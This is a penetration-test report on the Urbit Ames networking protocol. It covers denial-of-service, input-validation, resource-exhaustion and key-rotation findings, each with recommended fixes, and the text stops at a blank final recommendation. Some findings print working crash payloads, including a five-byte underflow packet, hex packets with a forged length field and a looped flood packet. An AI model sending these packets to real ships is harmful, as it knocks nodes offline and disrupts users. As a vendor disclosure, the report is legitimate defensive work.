Urbit AMES Networking Protocol Review

FINAL REPORT

limitless innovation. no compromise.

Prepared for: Anthony Arroyo
CPO

Tlon.io
2325 3rd St., #428
San Francisco, CA 94107

November 4, 2020

Version:	Final
Prepared for:	Tlon.io
Date:	November 4, 2020

Table of Contents

Executive Summary

Tlon.io engaged Leviathan Security to perform a time-bound security assessment of the Urbit Ames protocol. Ames is the name of the Urbit network and the vane that communicates over it. It is an encrypted peer-to-peer network composed of instances of the Arvo operating system. Each galaxy, star, planet, moon, and comet communicates over the network utilizing the Ames protocol. We performed this assessment from October 12, 2020 until November 04, 2020.

Our objectives were to review Urbit Ames networking protocol for any deviations from industry standard security practice that could lead to a loss of confidentiality, integrity, or availability to an Urbit ship. Testing was informed through a detailed discussion with the service team around application functionality, its technology stack, and some of the security considerations. We were provided with design diagrams, credentials and access to three planets, and other documentation that provides our consultants with higher understanding of the service to reduce knowledge ramp-up; this is colloquially known as gray-box methodology.

Our review uncovered the following findings, rated by severity: 5 critical, 1 medium, and 1 low.

Observations & Recommendations

We found several architectural flaws that caused critical-severity vulnerabilities in the Ames protocol. These include issues such as a lack of denial-of-service (DoS) protection, unauthorized resource exhaustion, and a weak key rotation policy. We also found a few implementation-specific issues that caused similar and lower severity vulnerabilities, such as weak input validation, insecure error handling, and the use of unsafe functions. We have outlined several of the stated architectural flaws and our recommendations for remediation in the following paragraphs.

DoS vulnerabilities

In the current Urbit build, ships are vulnerable to trivial DoS attacks. There are several basic remedies that should be applied to make these attacks more difficult. First, process incoming Ames packets in a multi-threaded operation, evenly distributing processing time for incoming packets between endpoints. This would also provide the basic framework of priority (by adjusting the timeslice for a given sender).

Packets originating from known-bad IP addresses or planet address should be discarded as well, before checking their validity. To protect against IP spoofing, relays and ships must validate that a sender can receive at their declared IP address. Urbit should attempt to leverage sybil resistance where possible.

Processing an incoming packet is currently a very expensive operation as signature validation requires a full decrypt operation in SIV-AES. We discussed this problem with members of the Urbit dev team, and we have reviewed three proposed solutions from Tlon. To summarize them:

- Sign each packet such that any ship can validate
- Wrap each packet in an HMAC, validated by the end receiver (end-to-end HMAC)
- Wrap each packet in an HMAC for each hop (point-to-point HMAC)

We recommend the end-to-end HMAC solution coupled with a back-pressure approach, outlined in the paragraphs to follow. We agree with Tlon's assertion that HMAC would be significantly faster than other cryptographic approaches on a per-signature basis, but we recommend that Tlon not use the point-to-point HMAC solution in Urbit. This would introduce a significant amount of additional processing per packet, despite the apparent performance of the HMAC operation itself. To achieve scalable performance, the number of operations required to process and forward a packet should be minimized as much as possible. If sending a packet is less expensive computationally than receiving a packet, significantly more powerful infrastructure would be required to be resilient against basic processing-time DoS attacks.

When several invalid packets are received from a specific IP address or ship address, the receiver would begin to throttle packets from that sender, dropping them without decrypting. The receiver would also report this to the relay that forwarded the bad packets, allowing the relay to rapidly drop packets on that flow. Back-pressure must be applied carefully to avoid malicious ships from misreporting other ships. A relay should take care to only throttle traffic that would be forwarded to the ship which is reporting bad traffic.

It is important that Urbit Relays establish that a sender can receive at their declared IP address before forwarding packets or performing throttling. This prevents an attacker from spoofing an IP address of another ship and tricking relays into throttling that host or forwarding malicious packets. The existing galaxy keepalive ping for NAT traversal could be used to implement this mechanism. Upon reception of a new ship connection, a relay would send the ship a random nonce. The ship would then reply with that nonce in future keepalive pings. This provides authentication of both the ship identity and the IP address from which it is sending.

Implementation of this back-pressure would additionally be the first steps toward adding the necessary channels for sybil resistance. In the future, stars could federate, and ships could opt in to some global "reputation" system whereby if a sender drops below some threshold based on back-pressure reports, they become throttled by default on new hosts.

Weak key rotation policy

Urbit keys used for encrypting Ames packets may not be rotated on a frequent basis. Urbit users can decide to manually rotate their keys; however, it costs a small amount of money to do so. Additionally, Ames does not utilize ephemeral keys and does not guarantee forward secrecy. This means that a compromise of an Urbit key could have a significant impact due to the potentially long life of the key; all data encrypted with that key would be at risk of compromise.

We recommend introducing automatic key rotation on a frequent basis and/or ephemeral Diffie-Hellman key exchange. Both solutions would reduce the impact if a key were compromised by limiting the amount of data that could be decrypted using the compromised key.

Unauthorized resource exhaustion

When Ames receives a packet, it decrypts and authenticates the packet. If the packet is part of a fragmented message, it stores the partial message in memory. Once a complete fragmented message is received, the packet is passed to Vane to be stored on disk. All valid authenticated packet will be stored on disk, without performing any authorization checks. This could be abused by an attacker to send very large messages to fill a target ship's memory and/or disk with data that was not requested.

Urbit/Ames needs some mechanism that restricts unsolicited packets from being stored indefinitely on disk. Purging old data after it is no longer needed should be built into the system by default. Additionally, applications should have some mechanism to notify AMES to expect a large incoming packet, and AMES should otherwise discard large packets without waiting for fragments.

Packet fragment reception should also have a timeout to prevent holding incomplete packets on disk / in memory indefinitely if the sender never finishes.

Security posture and peer comparison

The Ames protocol has a weaker security posture than other more prevalent network protocols with similar features. Most of the issues we found have been largely eradicated in these other more mature products. For instance, the AMES protocol uses UDP, which allows attackers to spoof packets. Many modern products use TCP, which provides verification that both the sender and receiver are ready and willing to communicate. TCP has a mature system in place for filtering, throttling, and flow control. The Ames protocol does not use TCP, and therefore, Ames will have to handle flow control, routing, filtering, message loss, buffer management, and resource allocation.

The insecurities found in the Ames protocol relating to cryptography and unauthorized communications have been mitigated in similar protocols. For example, modern VPN applications such as OpenVPN and WireGuard only allow authorized clients to communicate through public key cryptography.

The lack of multi-threading support and unauthenticated network traffic contributes to the lack of DoS protection. For example, modern web servers such as Apache and NGINX have multiple worker threads to handle connections, manage resources, and direct network requests to the appropriate services.

Future Work

The Ames protocol is only a small portion of Urbit. To better understand the security posture of the entire Urbit system, Tlon should conduct additional security assessments to include the rest of the system. Specifically, we recommend reviewing the native interface between Urbit and Unix, as this has a high likelihood of introducing vulnerabilities into the system. Additionally, we recommend reviewing the implementation of the various Urbit applications.

Vulnerability Classification

Impact

When we find a vulnerability, we assign it one of five categories of severity, describing the potential impact if an attacker were to exploit it:

Informational – Does not present a current threat but could pose one in the future if certain changes are made. To protect against future vulnerabilities, fixing the condition is advisable.

Low – May allow an attacker to gain information that could be combined with other vulnerabilities to carry out further attacks. May allow an attacker to bypass auditing or minimally disrupt availability, resulting in minor damage to reputation or financial loss.

Medium – May allow an attacker inappropriate access to business assets such as systems or servers. There may be impact to the confidentiality or integrity of data, or limited disruption of availability, resulting in moderate damage to reputation or financial loss.

High – May allow an attacker inappropriate access to business assets such as systems or servers. There may be substantial or widespread impact to the confidentiality or integrity of particularly sensitive data, or disruption of availability, resulting in significant damage to reputation or financial loss.

Critical – May allow an attacker to gain persistence, or imminently disrupt functionality or disclose data, resulting in severe reputational damage or financial loss.

Skill Level to Exploit

When we find a vulnerability, we assess how skilled an attacker must be to exploit it:

Simple – Requires minimal understanding of the underlying technology. Tools/ techniques for exploiting the vulnerability can be easily found on the internet.

Moderate – Requires significant expertise, possibly in proprietary information, or access to tools that are not readily available to individuals. The unwitting cooperation of a victim or target may also be required.

Advanced – Requires insider access or access to tools that are not publicly available. Successful exploitation of another vulnerability may be required. Direct interaction with the victim or target may also be required.

Impact Rating (Weight)	Skill Level to Exploit Rating (Weight)		
	Advanced (1)	Moderate (2)	Simple (3)
Critical (4)	4	8	12
High (3)	3	6	9
Medium (2)	2	4	6
Low (1)	1	2	3

Severity	
Critical	10-12
High	7-9
Medium	4-6
Low	1-3

Vulnerability Index

This section represents a quick view into the vulnerabilities discovered in this assessment.

ID	SEVERITY	TITLE	COMPONENT
93124	Critical	Integer underflow in packet handling	Ames protocol
93206	Critical	Ames packet "len" field not validated during SIV decryption	Ames protocol
93300	Critical	Trivial denial of service on ships	Ames protocol
93400	Critical	Large Ames message fills memory arena	Ames protocol
93418	Critical	Lack of authorization on incoming packets	Ames protocol
93262	Medium	Infrequent key rotation and lack of forward secrecy	Ames protocol
93359	Low	Use of unsafe functions in signal handler	Ames protocol

Activity Index

This section represents a quick view into the activities performed in this assessment.

COMPONENT	TITLE	STATUS
Ames protocol	Logic Flaws	Complete
Ames protocol	Denial of service testing	Complete
Ames protocol	Authentication and authorization	Complete
Ames protocol	Fuzzing	Complete

Ames Protocol - Observations & Analysis

Urbit is an operating system and network running on Unix, intended to be used by individuals to host their own personal servers, or ships. Ames is an encrypted peer-to-peer UDP network protocol in use for Urbit ships to communicate securely. Ames messages are multi-fragmented, and the protocol handles transmission control. Each ship has a public/private key pair, and ECDH is used for generating shared symmetric keys between ships. Packets are authenticated and encrypted/decrypted using AES-256 in the SIV mode of operation.

Threat Analysis

The Ames protocol is used on every Urbit instance (e.g., galaxies, stars, planets) for sending and receiving messages. If a vulnerability is found on the protocol, then every ship would be vulnerable, including ships used for routing packets on the network. A denial-of-service (DoS) attack on a main routing ship becomes very impactful because planets that utilize that routing ship would be unable to communicate as well. With this in mind, any flaws that allow attackers to perform DoS attacks against the Urbit network would be rated as Critical.

As Tlon intends to open the Urbit network's relays (stars) for sale to the public, any cryptographic attack that could break encryption between ships or spoof a ship's identity would also be rated as Critical.

Observations

We found several architectural flaws that caused critical-severity vulnerabilities. These architectural flaws and recommendations are outlined extensively in the executive summary and in their respective findings. To summarize, there were 3 main classes of flaws we observed.

The first is that there is no DoS protection in place. We could trivially DoS a ship by sending a large volume of packets. Moreover, we found several input validation errors that were improperly handled and resulted in the target ship crashing, causing a DoS attack. Next, there is no authorization check on incoming packets. An attacker could leverage this to send large Ames messages that would fill up the target ship's memory and/or disk to cause resource exhaustion. Lastly, Urbit keys may not be rotated on a frequent basis, and Ames provides no forward secrecy. This exposes Urbit communications to some risk, as an attacker who can record Urbit messages could decrypt all of them if the keys become compromised.

Activities Performed

LOGIC FLAWS

Scope

Review various Ames protocol features related to state management and transmission control to detect logic flaws.

Methodology

We reviewed architecture diagrams and source code, and conducted interviews with Urbit developers to determine the expected behavior of the system relating to state management and transmission control. Then, we attempted to bypass the stated business logic to cause unexpected behavior.

Observations

We found several critical logic flaws in the way that memory and disk space are managed. Ames is multi-fragmented, so it must receive fragments of a message and reassemble the complete message upon receiving all of the fragments. It does this by storing partial messages in memory, as "state" variables. This feature can be exploited to fill an Urbit memory arena and cause a target ship to crash by sending very large Ames messages, as there is no limit on the size that a complete message can be.

Additionally, there is no authorization required to send messages to a target ship; an attacker only needs to authenticate as any ship. This could be used to send large messages to fill up the target ship's memory and/or disk space, which would cause resource exhaustion.

Related Findings

93400: Large Ames message fills memory arena
93418: Lack of authorization on incoming packets
93359: Use of unsafe functions in signal handler

DENIAL OF SERVICE TESTING

Scope

Attempt various denial-of-service (DoS) attacks against Urbit ships using Ames packets.

Methodology

We performed basic DoS attacks by sending many large Ames packets to target galaxies and planets. We attempted authenticated and unauthenticated packets.

Observations

Urbit did not have any DoS protections in place during the time of testing. We could perform a trivial DoS attack on any ship with large unauthenticated packets. This is due primarily to the fact that the receiving ship is single-threaded and must first attempt to decrypt the packet before they can decide if it's invalid, so each incoming packet takes a significant amount of processing time.

Related Findings

93300: Trivial denial of service on ships

AUTHENTICATION AND AUTHORIZATION

Scope

Review the authentication, authorization, and cryptographic mechanisms utilized for ships communicating securely on the Ames protocol.

Methodology

We reviewed architecture diagrams and source code, and conducted interviews with Urbit developers to perform a threat assessment on the way in which ships communicate. We reviewed the implementation of the cryptographic algorithm in use for authenticating and encrypting messages. Lastly, we performed dynamic testing to find any flaws that may have led to a compromise of confidentiality, integrity, or authenticity.

Observations

The cryptographic algorithms in use and their implementations for protecting Ames communications are mostly secure. Ethereum is used for generating public/private key pairs for each ship, ECDH is used for deriving symmetric keys between 2 ships, and SIV with AES-256 is used for encrypting/decrypting messages between ships.

We found that a ship must have possession of their own valid Urbit key in order to authenticate as that ship and to send valid Ames messages. Additionally, no other ship except the two communicating may be able to decrypt or modify messages during transport.

However, the protocol lacks forward secrecy and keys are not rotated automatically or on a frequent basis. This means that if a ship's Urbit key were compromised, all data encrypted by that ship for the life of the key could be decrypted.

Additionally, although there is authentication at the AMES layer by nature of the cryptography, there are no authorization checks at the cryptographic level. This potentially exposes applications and AMES itself to additional attacks as there is no mechanism to prevent incoming connections from unknown urbit users.

Related Findings

93124: Integer underflow in packet handling
93418: Lack of authorization on incoming packets
93262: Infrequent key rotation and lack of forward secrecy

FUZZING

Scope

Perform fuzzing and input validation on the various fields in an Ames packet.

Methodology

We reviewed the Ames source code that is executed upon receiving a packet to find instances of improperly validated or mishandled input. We dynamically tested (both manual and automated) the Ames protocol by sending various malformed packets to our victim planet, focusing on both the header and body portions of the packet, looking for any unexpected results or crashes.

FUZZING

Observations
We found several critical issues in the way that input was handled upon receiving Ames packets; these resulted in errors that crashed or hung the receiving ship. Other than these issues, unexpected data and errors were properly handled by discarding the received packet and continuing execution.
Related Findings
93124: Integer underflow in packet handling
93206: Ames packet "len" field not validated during SIV decryption

Vulnerabilities

INTEGER UNDERFLOW IN PACKET HANDLING

ID	93124
Component	Ames protocol
Severity	**Critical**
Impact / Skill Level	Critical/Simple
Reference	http://cwe.mitre.org/data/definitions/190.html
Location	https://github.com/urbit/urbit/blob/release/next-vere/pkg/urbit/vere/io/ames.c#L819

Observation

An integer underflow occurs when a subtraction results in a value which is less than the minimum value that the data type can store. The resulting value is often very large and can lead to bounds handling failure or other memory corruption.

When processing packets, the native AMES networking code used by galaxies and stars will integer underflow if it receives a packet that is too short for its declared address widths. This results in a denial of service (DoS) against the target star or galaxy.

```
line 766:
 //  ensure a sane message size
  //
  if ( 4 >= nrd_i ) {
    pas_o = c3n;
  }


line 781:
    hed_u.sac_y = (hed_w >> 23) & 0x3;
    hed_u.rac_y = (hed_w >> 25) & 0x3;


line 815:
  c3_y  sen_y = 2 << hed_u.sac_y;
  c3_y  rec_y = 2 << hed_u.rac_y;
  c3_d  sen_d[2];
  c3_d  rec_d[2];
  c3_w  con_w = nrd_i - 4 - sen_y - rec_y;


line 829:
    con_y = c3_malloc(con_w);
    memcpy(con_y, bod_y + sen_y + rec_y, con_w);
```

INTEGER UNDERFLOW IN PACKET HANDLING

Sending the following packet:

```
0000000  b8 fe af 07  41                                        ¦····¦A¦
00000005
```

Results in the following output, and the zod process terminates:

```
address 0x100ee53bc out of loom!
loom: [0x200000000 : 0x280000000)
Assertion '0' failed in noun/events.c:129

bail: oops
bailing out
urbit: noun/manage.c:677: u3m_bail: Assertion `0' failed.
                                                        serf: pier unexpectedly
shut down
Aborted
```

Impact Rationale:
The galaxy/star process will terminate. An attacker can continuously DoS a galaxy or star by repeatedly sending the crashing packet.

Difficulty Rationale:
The packet is constant and can be sent by any attacker with internet access.

Recommendation

Always check that encoded lengths from packets are less than the length of any enclosing encoding. In this case, check that con_w is not longer than nrd_i.

AMES PACKET "LEN" FIELD NOT VALIDATED DURING SIV DECRYPTION

ID	93206
Component	Ames protocol
Severity	**Critical**
Impact / Skill Level	Critical/Simple
Reference	https://cwe.mitre.org/data/definitions/20.html
Location	Ames decrypt functionality: https://github.com/urbit/urbit/blob/master/pkg/arvo/sys/vane/ames.hoon#L3062 https://github.com/urbit/urbit/blob/master/pkg/urbit/jets/e/aes_siv.c#L124

Observation

Programs and functions accepting input from untrusted sources are exposed to being presented with malformed input that is intended to attack the software. If the software does not validate the format of the data before using it, then it may be vulnerable to such malformed data attacks.

We observed that the user-provided "len" field is not validated during the decryption of the incoming packet. We supplied an arbitrary large number for the "len", and it caused the receiving planet to crash without recovery. We first encrypted and then deserialized a standard Ames message in the Urbit dojo, and received the following result:

```
> (cue (en:crub:crypto sym-sopdys (jam [sndr-life=1 rcvr-life=1 bone=16 message-
num=25 meat=[%.y p=[num-fragments=1 fragment-num=0
fragment=0wt.7dBtf.wt7xB.tfwc0.000qn.51IS5.CpCpC.pCpCo.0w1Ck.50awd.S3hiV.m2aCG.PII5
o.QYN4c.cNZZ0.6Yfbs.SdbEm.KrOOe.3uVBF.qSIwu.07AWI.PwTJ1.qUcHo.PIbw~.nM1sH.eMKrC.OJJ
U1.OKz2O.e3GmK.z2Qcq.Y0sD1]]])))

[ 25.615.990.926.799.027.072.086.472.553.293.643.628
  123

144.302.090.473.142.527.463.147.474.807.084.533.478.167.421.476.931.471.016.863.063
.595.261.374.829.922.299.563.876.781.606.884

.901.556.302.770.239.297.117.024.411.520.175.057.428.496.604.223.830.542.188.261.53
2.089.082.600.206.621.907.155.089.081.145.74

5.673.231.364.968.126.151.250.692.940.930.393.929.236.256.562.801.856.486.326.076.7
76.825.283.915.114.412.666.679.602.789.741.7
  82.629.872.311
]
```

The symmetric key we used is stored in "sym-sopdys" locally. The first portion of the result is the "IV", the second is the "len", and the third is the "ciphertext". We modified the resulting "len" field from 123 to a large number, 999.999.999.999.999, and serialized it:

```
> (jam [25.615.990.926.799.027.072.086.472.553.293.643.628 999.999.999.999.999
144.302.090.473.142.527.463.147.474.807.084.533.478.167.421.476.931.471.016.863.063
```


```
.595.261.374.829.922.299.563.876.781.606.884.901.556.302.770.239.297.117.024.411.52
0.175.057.428.496.604.223.830.542.188.261.532.089.082.600.206.621.907.155.089.081.1
45.745.673.231.364.968.126.151.250.692.940.930.393.929.236.256.562.801.856.486.326.
076.776.825.283.915.114.412.666.679.602.789.741.782.629.872.311])


62.246.026.609.828.303.577.198.943.248.935.532.734.255.939.941.214.852.487.998.703.
586.304.600.198.851.205.225.509.856.127.400.44

3.643.681.317.967.420.763.958.904.315.707.924.556.945.749.401.809.968.250.164.324.4
88.586.561.788.315.141.107.759.306.139.855.129

.217.547.433.432.828.386.766.184.588.551.677.088.664.664.405.888.517.730.509.379.49
0.044.528.514.792.309.588.826.361.543.547.281.

797.344.644.420.933.047.088.734.070.074.330.548.432.037.282.813.808.848.813.622.647
.789.146.729.473
```

The result is the "content" portion of the packet data. We created the rest of the jammed data portion with the following:

```
> `@ux`(jam [0
62.246.026.609.828.303.577.198.943.248.935.532.734.255.939.941.214.852.487.998.703.
586.304.600.198.851.205.225.509.856.127.400.443.643.681.317.967.420.763.958.904.315
.707.924.556.945.749.401.809.968.250.164.324.488.586.561.788.315.141.107.759.306.13
9.855.129.217.547.433.432.828.386.766.184.588.551.677.088.664.664.405.888.517.730.5
09.379.490.044.528.514.792.309.588.826.361.543.547.281.797.344.644.420.933.047.088.
734.070.074.330.548.432.037.282.813.808.848.813.622.647.789.146.729.473])


0x70.f891.82b9.62d3.befc.6c89.1484.0d2d.a2de.7992.4905.4e7b.ccaa.f9fd.806d.d7b0.aae
5.5fb8.e4d9.ea08.5cc0.0fd4.842b.a5cf.1381.1f53

.edb7.8f22.89df.ecc4.c0b7.b968.940a.d360.1644.770b.4d1f.eab4.e36b.9619.0171.e01f.22
59.101e.61a1.f495.670e.0188.e109.27d4.91aa.851

5.6671.1a9a.0b70.9f91.ae64.a9db.8717.2c5c.b3bb.f95b.f620.038d.7ea4.c67f.ff94.0334.5
75d.ca67.e6b1.6c66.1b02.bfbe.37f6.cf60.0979.00
  09
```

Lastly, we created the rest of the Ames packet with an appropriate header and checksum and sent the following fully formed packet to ~paglep-hopfur:

```
0x409dfc020005680200056502090079096 0cff637bebf021b666cb1e667ca5d57340394ff7fc6a47e8
d0320f65bf9bbb35c2c1787dba964ae919f700b9a1a71661585aa91d42709e188010e6795f4a1611e10
59221fe0710119966be3b4ea1f4d0b77441660d30a9468b9b7c0c4ecdf89228fb7ed531f8113cfa52b8
```

AMES PACKET "LEN" FIELD NOT VALIDATED DURING SIV DECRYPTION

4d40fc05c08ead9e4b85fe5aab0d76d80fdf9aacc7b4e05499279dea22d0d8414896cfcbed362b98291f870

Upon receiving the Ames packet, ~paglep-hopfur successfully decoded the packet, attempted to decrypt it, and then it crashed. After reviewing the decryption code, we noticed that the provided "len" input was being used to allocate memory for the output plaintext buffer. We believe that when we provided a very large "len", it attempted to allocate that amount of memory, failed, and did not properly handle the exception.

All galaxies, stars, and planets are executing the same decrypt functionality and would therefore be vulnerable.

Impact Rationale:
An attacker could perform a denial of service (DoS) on any receiving galaxy/star/planet.

Difficulty Rationale:
The attacker can either buy a planet/star, have a network connection to the target galaxy/star/planet, or be in a position on the network to perform a man-in-the-middle (MITM) attack.

Recommendation

Do not use user input to allocate memory. Instead, use the length of the user-supplied ciphertext to determine the amount of memory to allocate for the plaintext buffer. Additionally, perform bounds checking to ensure that the amount of memory requested is within the limitations of the system, and properly handle exceptions.

TRIVIAL DENIAL OF SERVICE ON SHIPS

ID	93300
Component	Ames protocol
Severity	**Critical**
Impact / Skill Level	Critical/Simple
Reference	http://cwe.mitre.org/data/definitions/730.html
Location	Urbit Ames receiver

Observation

Network services that offer to do considerable work for anonymous requestors are vulnerable to a trivial denial-of-service (DoS) attack of simply submitting many requests.

We were able to cause a planet to become nonresponsive by sending a large number of unauthenticated Ames packets to it. We first created a large chat message, and then encrypted it with a key of "0w0" and jammed it with the following dojo command:

```
dojo> `@ux`(jam [~ (en:crub:crypto 0w0 (jam [sndr-life=1 rcvr-life=1 bone=16
message-num=25 meat=[%.y p=[num-fragments=1 fragment-num=0
fragment=0w1.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk5
1.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51
gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1g
k51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k
51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.
1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g
.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk
5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk5
1g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51
gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.g
k51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.
51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51
.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51g
k.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk
51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k5
1gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1
gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.
k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1gk51.gk51g.k51gk.51gk5.1rnM0.1Qu6l.Q-
0M0.001Fs.oHuEB.L0000.00000.206q0.k0G0P.k60ID.9AeMY.zO9Cp.WBL8g.96b~0.6Yfbs.SdbEm.K
rOOe.3uVBF.qSIwu.07AWI.PwTJ1.qUcHo.PIbw~.nM1sH.eMKrC.OJJU1.OKz2O.e3GmK.z2Qcq.Y0sD1]
]]))])
```

The resulting fragment string was formed into the following valid Ames packet with the appropriate checksum and header and sent to ~paglep-hopfur in a loop:

```
0x50c7bf020005650200056602090068110210707 6f82908606f4e2f77311a17b2ea0a1a38050200428
1f36805a2f4c897ee04cd7b22ce982f4ad7e4f2fef8bafee7b3eaaf6987b839ca91b5b8bcb590c1c103
c6b94e8faacacb42f70fdfa51561c73f054a0c8b68d193b6c04ab26f6cd774ef24280e5127ddea04a1b
b656ec766ade6b177e7398f4e204f682d7c017933a1e50c1c84159c8238d586edbc55194d97425bc3c2
```

TRIVIAL DENIAL OF SERVICE ON SHIPS

```
a115c76bc5cdab3e2d27d22f3bfea975da4b1c3d5be48cf645a70eb4edd1346d9c35de7d30f0b6f10bd
e036dda44c399821a2419d1176349951311fc1953c89fa90c364ab0ee8763a6840b0f1ac14a017144a4
744b5b994951902a61e040aaa344e112d857c0cf19fe6e07f0f4fc8b41584e39c0b45760a1aefd5d614
e37c47d9c572da0d83e9d561865c1fde366f6dddf4c9f979ff67e7fb3e3fb51e5e99547eced80874b71
bd8bc4d4e42d111d388fb6f8c914a51eafbb744642656e1499d3a8c5bbf8e7d9721cdc370859c2d37cf
ef3bfba133f6e491253c9d5dccf66b930f3836ad50e0460d075351d6b4c2e385750bf560f3a02e2efeb
ed105870fa1153cd1741fc9348d232f4ecdcc4b2e5e70862d7d73757a9fb2ab6a1c8cb55577692dd298
a2073b6bff17c4226f8c7c52d9a3c07717f26c3019329e8e5073595aa2365b986251570edfd44daa1ef
d0fbc453cb979b1c0e5d02a1807e7c94c5ca3212324d382f40c48de8505acdb48f2d9a754c33436ebf2
b7aa9158e50b08e8de0baf213d471fd0c5e56d9cf8a1bf1f67cb77da84d69310656602d70e93dae6f06
fd9ebbde657f41a3c435732b6f0540705e5525b43bba3f5f48c8950d64d5de4b280c8d28ab2f96d9f8b
f7f4b7e7fe3d721c84f9e4b8aea5d1b892ba2c0432059da230c1ae1263e04939092ba434e1e21800ce3
dfb05c1babbc9d5f9517b519412e14e1dd7cc990e10816be535122749306212d4096e03053732d77688
8b4fa2bf0b1a95a31cc96d1267e3d5a2d7285260d11a2b906c051218bbdcfd894f6b282a27acb16a849
0a5a46297a988b89559474cfe76fb3a3ee4a457d981a7168909d7e4729d1975c6efd1a59fae5f7185a4
3be7777bfa0113f7926907d8f9754d84989c3702652fd62d0ea769d50215cb3a4ba8a26180a7796b197
60c32091eec6e5507c677c9aab8ffd376852b0a02539ad2002b3cbb9166a842ac8f575e5e4e197ff8e2
f75e4203d39c8bcd0b2a650ce2fc6df317ab7b6b43e061d659a1765f6b54ba39935cc9da394d0f0d03d
088aacb5df11fab9cdb5cf5ad0203980eaa1284e285199f38d252985ba72cfe3788c25a322df9b7c10d
642a1ee79ddcff090f0d640976f0204251a8bd52030652346f461e69478e2054d169151cfa9c8118a14
e21d3043b16dfa111ebc17f8cad8f83a520175e3a3809c45991f606456c60943a945119573ed7e6e4ef
69be0d7016b64dcb51a588226c363ffef625ec27681977e77360b8295f60e326df2d92cfc0e79
```

Once the planet, ~paglep-hopfur in this case, received the Ames packets, it became nonresponsive to all other senders. This attack would work on any galaxy/star/planet. Additionally, we noted a similar response when invalid Ames data was sent as well, although each message did not take as long to process because the planet did not attempt to decrypt the packet before discarding it.

Impact Rationale:
An unauthenticated attacker could perform a DoS on any receiving galaxy/star/planet.

Difficulty Rationale:
The attacker can be unauthenticated; they simply need a route to the target galaxy/star/planet over the public internet.

Recommendation

Implement the DoS protection plan that was outlined by Urbit engineers in response to this finding, paying close attention to possible bypasses. The mitigation included IP-based throttling combined with introducing multi-thread operations and possibly adding a signature verification to avoid having to decrypt every packet.

LARGE AMES MESSAGE FILLS MEMORY ARENA

ID	93400
Component	Ames protocol
Severity	**Critical**
Impact / Skill Level	Critical/Simple
Reference	https://cwe.mitre.org/data/definitions/400.html
Location	Ames message fragmentation: https://github.com/urbit/urbit/blob/master/pkg/arvo/sys/vane/ames.hoon#L2763

Observation

Storing data in memory indefinitely can lead to resource exhaustion.

We observed the ability to crash a receiving galaxy/star/planet by sending it a large Ames message. When a ship receives a multi-fragmented message, it stores each fragment in memory while waiting to receive the rest of the message. Once the whole message is received, it deletes each partial message from memory and transfers the complete message to Vane, where it gets written to disk. There is no limit to the number of fragments a single message can contain, or a limit on the total size of the message in bytes, or a timeout in place for how long it may take to receive the whole message. Additionally, there is a 2GB memory arena allocation for each instance of Urbit.

After interviews with Urbit developers, it was determined that if a single message sent to a target was larger than 2GB, it would fill the memory arena. This causes Urbit to crash, and it will not be able to boot again without performing manual memory defragmentation by the owner of the ship.

Impact Rationale:
An authenticated ship could fill a target ship's memory arena, causing it to crash and be unable to recover without performing manual memory defragmentation.

Difficulty Rationale:
An attacker must own a ship on Urbit; this would likely be a comet (free) or a planet (relatively easy and cheap to obtain). Any authenticated Urbit ship on the public internet could perform this attack.

Recommendation

Implement a timeout to ensure that data is not stored indefinitely in memory, and discard any partial messages if the full message is not received during the timeout period. Additionally, limit the size of Ames messages, or do not store the entire Ames message in memory. Lastly, allow ship owners to view and clear their Ames state for a given peer.

LACK OF AUTHORIZATION ON INCOMING PACKETS

ID	93418
Component	Ames protocol
Severity	**Critical**
Impact / Skill Level	Critical/Simple
Reference	https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
Location	Urbit System

Observation

An unrestricted file upload vulnerability occurs when a third party can upload data to be stored without filtering or controls on content or size. This behavior might be abused to host troublesome files, including malwares, illegal software, or adult content. Uploaded data could also contain malwares' command and control data, violence and harassment messages, or steganographic data that can be used by criminal organizations. Additionally, storing data indefinitely leads to denial of service (DoS) situations.

Urbit caches all data from network transactions to disk. This would not be a problem if all incoming traffic was requested (e.g., it is not a problem if a user triggers a file download which fills their disk), but due to the nature of the protocol, other users can send data without interaction. As a result, a malicious or misbehaving ship can easily fill disks and memory of any ship in the network by sending traffic. While individual ships are authenticated by nature of the cryptography when establishing a connection, there is no explicit authorization.

Impact Rationale:
Implicitly storing data from untrusted sources may expose Urbit operators and users to DoS attacks or legal risks.

Difficulty Rationale:
Any user with a planet or comet can send data.

Recommendation

